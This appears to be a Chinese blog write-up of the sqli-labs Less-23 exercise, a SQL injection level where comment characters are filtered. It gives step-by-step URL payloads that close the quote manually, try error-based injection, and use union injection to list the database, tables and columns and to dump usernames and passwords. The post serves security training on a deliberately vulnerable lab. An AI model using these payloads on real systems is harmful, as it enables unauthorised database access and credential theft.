当前位置:网站首页>SQL注入 Less23(过滤注释符)
SQL注入 Less23(过滤注释符)
2022-07-25 10:31:00 【开心星人】
?id=1
?id=1'
''1'' LIMIT 0,1'
先去掉左右两边各一个单引号,相当于语文中的引用'1'' LIMIT 0,1
很明显知道是单引号闭合
SELECT * FROM users WHERE id='$id' LIMIT 0,1
因为过滤了注释符,我们可以手动闭合后面的单引号
?id=1' and '1'='1
?id=1' and '1'='2
想使用报错注入的,因为是会有报错信息的
?id=1' and updatexml(1, concat('#', database()), 1) and '1'='1
最后可能会多出了Limit 0,1这部分,导致语句出错了
所以放弃报错注入
尝试使用union注入,因为是有回显点的?id=1' order by 4 and '1'='1
查不出字段数
直接使用union,来逐个测试字段数?id=1' union select 1,'2
确实是可以的?id=1' union select 1,2,'3
查看回显位置?id=-1' union select 1,2,'3
查数据库?id=-1' union select 1,(select concat(database(), 0x7e, @@basedir)),'3
查表?id=-1' union select 1, (select group_concat(table_name) from information_schema.tables where table_schema="security"),'3
查字段?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),'3
查数据?id=-1' union select 1, (select group_concat(username,0x3a,password) from security.users),'3
边栏推荐
- API supplement of JDBC
- Some usages of beautifulsoup
- C# Newtonsoft.Json 高级用法
- Esp8266 uses drv8833 drive board to drive N20 motor
- 最详细的mysql索引解析(文末附赠思维导图)
- MySQL | GROUP_ The concat function concatenates the values of a column with commas
- Learn NLP with Transformer (Chapter 7)
- HDD Hangzhou station full experience
- Tree dynamic programming
- Hcip experiment (03)
猜你喜欢

HCIP(11)

SQL语言(二)

【flask高级】结合源码解决flask经典报错:Working outside of application context
![[flask advanced] combined with the source code, explain the operation mechanism of flask (in and out of the stack)](/img/a0/9110b83ff5c7965809bbc9f3948956.jpg)
[flask advanced] combined with the source code, explain the operation mechanism of flask (in and out of the stack)

Flame framework - Flame WTF form: file upload, verification code

HCIA experiment (09)

MySQL master-slave replication and read-write separation
Learning Weekly - total issue 63 - an open source local code snippet management tool

MySQL | GROUP_ The concat function concatenates the values of a column with commas

Hcip experiment (04)
随机推荐
TPS calculation in performance test [Hangzhou multi tester] [Hangzhou multi tester _ Wang Sir]
NowCoderTOP12-16——持续更新ing
MySQL master-slave replication and read-write separation
Signal integrity (SI) power integrity (PI) learning notes (XXXIII) 102 general design rules to minimize signal integrity problems
Loadbalancerlife lifecycle requested by feign client
Smart cloud IOT platform STM32 esp8266-01s simple wireless light control
Some usages of beautifulsoup
LVS负载均衡之LVS-NAT与LVS-DR模式原理详解
Hcip experiment (01)
Redis之压缩列表ziplist
Stm32cubemx learning record -- installation, configuration and use
Motivation of enterprises to practice open source
Flask framework - session and cookies
Google Earth engine -- Statistics on the frequency of land classification year by year
Esp32c3 based on the example tutorial of esp32 Rainmaker development under Arduino framework
Learn Luzhi PHP -- tp5.0 uses Chinese as an alias and reports "unsupported data expression"
学习路之PHP--TP5.0使用中文当别名,报“不支持的数据表达式”
Redis sentry, high availability executor
HCIA experiment (09)
Learn NLP with Transformer (Chapter 6)